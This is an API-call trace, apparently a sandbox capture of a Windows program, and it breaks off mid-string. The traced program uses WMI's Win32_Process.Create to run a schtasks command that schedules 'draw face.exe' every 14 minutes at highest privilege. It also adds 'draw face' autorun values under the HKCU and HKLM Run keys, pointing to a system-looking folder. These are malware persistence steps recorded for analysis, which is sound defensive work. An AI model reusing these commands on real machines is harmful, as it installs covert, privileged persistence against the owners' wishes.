WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aece0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0121.205] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0121.206] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0121.206] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0121.206] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0121.206] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0121.206] IUnknown:Release (This=0x6124e8) returned 0x1 [0121.206] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d28e0) returned 0x0 [0121.206] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d28e0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0121.206] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d28e0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4afee0) returned 0x0 [0121.206] WbemDefPath:IUnknown:Release (This=0x1b4d28e0) returned 0x0 [0121.206] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4afee0) returned 0x0 [0121.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0121.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0121.207] WbemDefPath:IUnknown:AddRef (This=0x1b4afee0) returned 0x3 [0121.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0121.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0121.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d3100) returned 0x0 [0121.207] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3100, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0121.207] WbemDefPath:IUnknown:Release (This=0x1b4d3100) returned 0x3 [0121.207] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0121.207] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0121.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0121.207] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x2 [0121.207] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x1 [0121.207] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0121.207] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0121.207] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4afee0) returned 0x0 [0121.207] WbemDefPath:IUnknown:AddRef (This=0x1b4afee0) returned 0x3 [0121.207] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x2 [0121.207] WbemDefPath:IWbemPath:SetText (This=0x1b4afee0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0121.207] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aec20, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0121.207] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afee0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0121.207] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afee0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0121.207] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afee0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0121.208] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4aec20) returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afee0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0121.208] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4aec20, uIndex=0x0, pszName="root") returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0121.208] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4aec20, uIndex=0x1, pszName="cimv2") returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4afee0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4afee0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4aec20, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4aec20, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4aec20, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aece0, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aece0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aec20, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aec20, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0121.208] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aec20, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0121.208] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0121.208] WbemLocator:IUnknown:AddRef (This=0x1b5113d8) returned 0x3 [0121.208] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b5113d8) returned 0x0 [0121.208] WbemLocator:IUnknown:Release (This=0x1b5113d8) returned 0x3 [0121.208] WbemLocator:IUnknown:Release (This=0x1b5113d8) returned 0x2 [0121.209] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aec20, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0121.209] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aec20, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0121.209] IWbemServices:GetObject (in: This=0x1b4ce3b0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4d6eb0, ppCallResult=0x0) returned 0x0 [0121.212] IWbemClassObject:GetMethod (in: This=0x1b4d6eb0, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4d9ed0, ppOutSignature=0x1b30d610*=0x1b4d7fe0) returned 0x0 [0121.212] IWbemClassObject:SpawnInstance (in: This=0x1b4d9ed0, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b4d12b0) returned 0x0 [0121.212] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fc918*=0, plFlavor=0x27fc91c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fc918*=8, plFlavor=0x27fc91c*=32) returned 0x0 [0121.212] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fc918*=8, plFlavor=0x27fc91c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fc918*=8, plFlavor=0x27fc91c*=32) returned 0x0 [0121.212] IWbemClassObject:Put (This=0x1b4d12b0, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"draw faced\" /sc MINUTE /mo 14 /tr \"'C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0121.213] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fc9a8*=0, plFlavor=0x27fc9ac*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fc9a8*=13, plFlavor=0x27fc9ac*=32) returned 0x0 [0121.213] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fc9a8*=13, plFlavor=0x27fc9ac*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27fc9a8*=13, plFlavor=0x27fc9ac*=32) returned 0x0 [0121.213] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4d9110) returned 0x0 [0121.213] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0121.213] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0121.213] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0121.213] IUnknown:AddRef (This=0x1b4d9110) returned 0x3 [0121.213] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0121.213] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0121.213] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4d9118) returned 0x0 [0121.213] IMarshal:GetUnmarshalClass (in: This=0x1b4d9118, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0121.213] IUnknown:Release (This=0x1b4d9118) returned 0x3 [0121.213] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0121.213] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0121.213] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0121.214] IUnknown:Release (This=0x1b4d9110) returned 0x2 [0121.214] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0121.214] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0121.214] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0121.214] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0121.214] IUnknown:QueryInterface (in: This=0x1b4d9110, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0121.214] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0121.214] IUnknown:AddRef (This=0x1b4d9110) returned 0x3 [0121.214] IWbemClassObject:Put (This=0x1b4d12b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4d9110, varVal2=0x0), Type=0) returned 0x0 [0121.214] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0a20, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0121.214] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0a20, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0121.214] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0a20, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0121.214] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aece0, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0121.214] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0121.214] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aece0, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0121.214] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0121.214] WbemLocator:IUnknown:AddRef (This=0x1b5113d8) returned 0x3 [0121.214] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b5113d8) returned 0x0 [0121.215] WbemLocator:IUnknown:Release (This=0x1b5113d8) returned 0x3 [0121.215] WbemLocator:IUnknown:Release (This=0x1b5113d8) returned 0x2 [0121.215] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0121.215] WbemLocator:IUnknown:AddRef (This=0x1b5113d8) returned 0x3 [0121.215] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b5113d8) returned 0x0 [0121.215] WbemLocator:IUnknown:Release (This=0x1b5113d8) returned 0x3 [0121.215] WbemLocator:IUnknown:Release (This=0x1b5113d8) returned 0x2 [0121.215] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0a20, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0121.215] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0a20, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0121.215] IWbemServices:ExecMethod (in: This=0x1b4ce3b0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b4d12b0, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b4521a0, ppCallResult=0x0) returned 0x0 [0121.283] IWbemClassObject:Get (in: This=0x1b4521a0, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283bfb8*=0, plFlavor=0x283bfbc*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12c8, varVal2=0x0), pType=0x283bfb8*=19, plFlavor=0x283bfbc*=0) returned 0x0 [0121.283] IWbemClassObject:Get (in: This=0x1b4521a0, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283bfb8*=19, plFlavor=0x283bfbc*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12c8, varVal2=0x0), pType=0x283bfb8*=19, plFlavor=0x283bfbc*=0) returned 0x0 [0121.284] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x490) returned 0x0 [0121.284] RegQueryValueExW (in: hKey=0x490, lpValueName="draw face", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0121.284] RegSetValueExW (in: hKey=0x490, lpValueName="draw face", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe\"", cbData=0x86 | out: lpData="\"C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw face.exe\"") returned 0x0 [0121.284] RegCloseKey (hKey=0x490) returned 0x0 [0121.284] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1b30d868 | out: phkResult=0x1b30d868*=0x490) returned 0x0 [0121.284] RegQueryValueExW (in: hKey=0x490, lpValueName="draw face", lpReserved=0x0, lpType=0x1b30d888, lpData=0x0, lpcbData=0x1b30d880*=0x0 | out: lpType=0x1b30d888*=0x0, lpData=0x0, lpcbData=0x1b30d880*=0x0) returned 0x2 [0121.284] RegSetValueExW (in: hKey=0x490, lpValueName="draw face", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files (x86)\\Windows NT\\TableTextService\\draw 